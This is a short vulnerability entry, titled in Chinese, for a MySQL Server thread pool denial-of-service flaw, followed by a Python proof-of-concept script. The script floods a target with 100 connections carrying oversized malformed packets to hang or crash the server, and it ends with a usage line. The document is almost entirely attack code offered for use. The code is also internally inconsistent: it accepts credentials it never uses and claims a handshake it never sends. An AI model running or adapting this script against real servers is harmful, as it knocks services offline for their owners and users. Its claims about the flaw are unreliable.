CVE-2026-21964: Oracle MySQL Server线程池拒绝服务漏洞

# CVE-2026-21964 PoC - MySQL Server Thread Pool DoS # This PoC demonstrates the thread pool exhaustion attack import socket import time def exploit_mysql_thread_pool(target_host, target_port, username, password): """ Exploit MySQL Server Thread Pool DoS vulnerability """ try: # Establish multiple connections to exhaust thread pool connections = [] for i in range(100): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Send MySQL handshake packet # Send malformed packet to trigger thread pool issue malicious_packet = b'\x00\x00\x00\x03' + b'A' * 65535 sock.send(malicious_packet) connections.append(sock) time.sleep(0.01) # Keep connections open to maintain DoS state print(f"Established {len(connections)} malicious connections") print("Thread pool exhaustion in progress...") # Wait for server hang/crash time.sleep(30) return True except Exception as e: print(f"Error: {e}") return False finally: for sock in connections: try: sock.close() except: pass # Usage # exploit_mysql_thread_pool('target_ip', 3306, 'admin_user', 'admin_password')